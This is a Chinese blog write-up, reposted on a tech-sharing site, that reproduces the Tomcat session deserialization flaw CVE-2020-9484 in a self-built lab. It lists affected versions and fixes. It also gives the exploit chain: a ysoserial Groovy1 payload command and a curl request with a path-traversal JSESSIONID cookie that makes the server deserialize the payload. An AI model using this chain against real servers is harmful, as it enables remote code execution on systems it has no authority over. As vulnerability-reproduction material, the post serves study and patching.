ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CVE-2020-9484 Tomcat Session 反序列化复现

2022-07-01 22:35:44  阅读:188  来源: 互联网

标签:10.0 CVE Tomcat tomcat jar M4 https 序列化


一、漏洞概述

  Apache Tomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞(CVE-2020-9484)。漏洞条件比较苛刻:

  • tomcat必须启用session持久化功能FileStore
  • tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget
  • 在服务器上存在已知路径文件内容可控

——引自这里

 

二、影响版本
  • Apache Tomcat: 10.0.0-M1 to 10.0.0-M4
  • Apache Tomcat: 9.0.0.M1 to 9.0.34
  • Apache Tomcat: 8.5.0 to 8.5.54
  • Apache Tomcat: 7.0.0 to 7.0.103

 

三、漏洞原理

  这里主要是 FileStore 的 LFI 漏洞可以反序列化任意路径上的 .session 文件, 如果同时存在 文件上传漏洞的话就是 RCE 了。这里引入大佬的原文——https://www.safedog.cn/news.html?id=4456

 

四、漏洞复现环境

  Vulfocus上关于这个漏洞的环境好像有些问题(也可能是我太菜了~),外加复现此漏洞并不需要多么复杂的环境,就自己搭建一个好了~~

  Tomcat version:Tomcat 10.0.0-M4(服务器就搭建在kali上了)

 

五、实验步骤

1.搭建实验环境

(1)下载Tomcat相应的版本,且解压到/usr/local/tomcat文件中(新建)

1 wget https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz
2 mkdir /usr/local/tomcat
3 tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/ 

(2)修改/usr/local/tomcat/apache-tomcat-10.0.0-M4/conf/context.xlm 添加Manager(session 持久化设置)

   <Manager className="org.apache.catalina.session.PersistentManager">
            <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
    </Manager>

(3)在/usr/local/tomcat/apache-tomcat-10.0.0-M4/lib/目录下下载groovy-2.3.9.jar包(别的包也可以,比如commons-collections4-4.0.jar,不过换包的话,后面对应生成的payload命令也要相应变一下,这里注意)

wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar

(4)运行Tomcat

/usr/local/tomcat/bin/catalina.sh start

2.漏洞复现

(1)这里自己就搞不定了,用一下大佬的工具——ysoserial来生成java反序列化 payload 的 .jar 包

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar Groovy1 "touch /tmp/wavesky" > /tmp/wavesky.session 

前面用的不是groovy-2.3.9.jar包的话,这里可以看一下相应的命令——https://github.com/angelwhu/ysoserial

 

 

吐槽一下:作为一个立志想要维护一个世界级开源项目,方便更多人,充分发扬互联网共享精神的现阶段的菜鸟来说,实在是看不惯把别人开源的项目拿出来为己谋私的事情(各位老板们别喷,我看不惯也就只看不惯而已……你反对那就是你对,我墙头草的~)

因为这里的ysoserial在git clone之后打jar包的时候,很容易打不出来(大概率时环境问题,镜像恢复之前,大概是javac等环境都存在的时候就打出来了,这里就不重新安装环境了,以后再说把~)。所以我把用到的工具分享在此,如果觉得github太慢,可以走网盘,链接失效了的话评论区喊我一下~

(2)上传命令(联合上一步,就可以在/tmp目录下创建一个wavesky文件)

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/wavesky'

(3)就是这个效果~

 

 

六、修复方式

对比 Tomcat 10.0.0-M4 和 Tomcat 10.0.0-M5 的 FileStore 源码可以发现做了目录验证。  

修复方式就是升级,或者配置WAF,过滤掉../之类的字符串,或者不使用 FileStore。——https://www.safedog.cn/news.html?id=4456

 

七、补充

 这里引入一个反序列化原理的文章——https://blog.csdn.net/hilaryfrank/article/details/104450106

标签:10.0,CVE,Tomcat,tomcat,jar,M4,https,序列化
来源: https://www.cnblogs.com/wavesky/p/16436018.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[[email protected]]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有